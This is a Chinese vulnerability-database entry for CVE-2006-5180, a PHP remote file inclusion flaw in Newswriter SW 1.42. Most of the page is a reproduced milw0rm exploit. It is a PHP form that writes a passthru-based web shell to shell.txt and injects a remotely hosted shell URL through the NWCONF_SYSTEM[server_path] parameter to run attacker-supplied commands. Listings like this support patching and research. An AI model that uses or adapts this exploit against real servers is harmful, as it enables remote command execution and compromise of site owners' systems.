Sebastian Baumann和Philipp Wolfer Newswriter SW 'include/main.inc.php'PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111152 漏洞类型 未知
发布时间 2006-09-27 更新时间 2006-10-10
CVE编号 CVE-2006-5180 CNNVD-ID CNNVD-200610-122
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2443
https://www.securityfocus.com/bid/84579
https://cxsecurity.com/issue/WLB-2006100061
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-122
|漏洞详情
SebastianBaumann和PhilippWolferNewswriterSW1.42以及之前的版本,其include/main.inc.php中存在PHP远程文件包含漏洞,远程攻击者可以通过NWCONF_SYSTEM[server_path]参数中的URL来执行任意PHP代码。
|漏洞EXP
<?php
/* XORON - TURKISH HACKER

Thanx: str0ke, Ironfist, Preddy,

*/

$cmd = $_POST["cmd"];
$glowna = $_POST["glowna"];
$shell = $_POST["shell"];
$exp= "<title>Newswriter SW v1.4.2 Remote File Include Exploit :: XORON :: 
TURKISH HACKER ::</title>"
."<style type=\"text/css\">"
."body {background-color: #006600;}"
."body,td,th {color: #FFFFFF;}"
."</style><form method=\"post\" action=\"".$glowna.$shell."?cmd=".$cmd."\">"
."<div align=\"center\"><img src=\"http://xoron.biz/teamvh4.png\"></div>"
."<p align=\"center\">script url: (ex. 
http://www.site.com/[script_path]/include/main.inc.php?NWCONF_SYSTEM[server_path]=)<br>"
."<input type=\"text\" name=\"glowna\" size=\"90\"".$glowna."\">"
."<br>"
."shell url: (ex. http://www.site.com/[path]/shell.txt?) shell.txt (CHMOD 
777)<br>"
."<input type=\"text\" name=\"shell\" size=\"90\"".$shell."\">"
."<br>"
."cmd: (ex. ls -la)<br>"
."<input name=\"cmd\" type=\"text\" size=\"90\"".$cmd."\">"
."<br>"
."<input type=\"submit\" value=\"Exploit\" name=\"submit\">"
."</p>"
."<p align=\"center\">Find by: <a 
href=\"mailto:x0r0n@hotmail.com\">XORON</a>"
."<br>"
."<p align=\"center\"> <a 
href=\"http://www.xoron.biz/\">http://www.xoron.biz/</a></p>"
."<p align=\"center\" class=\"name\"> </p>"
."<HR WIDTH=\"650\" ALIGN=\"center\">"
."<p align=\"center\"> Special Greetz: Str0ke, Ironfist, Preddy, rgod  
;-)<br>"
."<br>"
."<p align=\"center\"> </p>"
."</form>";

if (!isset($_POST['submit']))
{
echo $exp;
}else{
$file = fopen ("shell.txt", "w+");
fwrite($file, '<?php 
ob_clean();echo"xoron-turkish-hacker";ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>');
fclose($file);
$file = fopen ($shell, "r");
if (!$file) {
    echo "<p>Don't Find shell :( Insert in FTP shell.txt.\n";
    exit;
}
echo $exp;
while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
}
?>

# milw0rm.com [2006-09-27]
|受影响的产品
Baumedia Newswriter 1.42 Baumedia Newswriter 1.41 Baumedia Newswriter 1.40
|参考资料

来源:BUGTRAQ
名称:20060928NewswriterSWv1.4.2RemoteFileIncludeExploit
链接:http://www.securityfocus.com/archive/1/archive/1/447253/100/0/threaded
来源:MILW0RM
名称:2443
链接:http://www.milw0rm.com/exploits/2443
来源:SREASON
名称:1695
链接:http://securityreason.com/securityalert/1695
来源:MILW0RM
名称:2443
链接:http://milw0rm.com/exploits/2443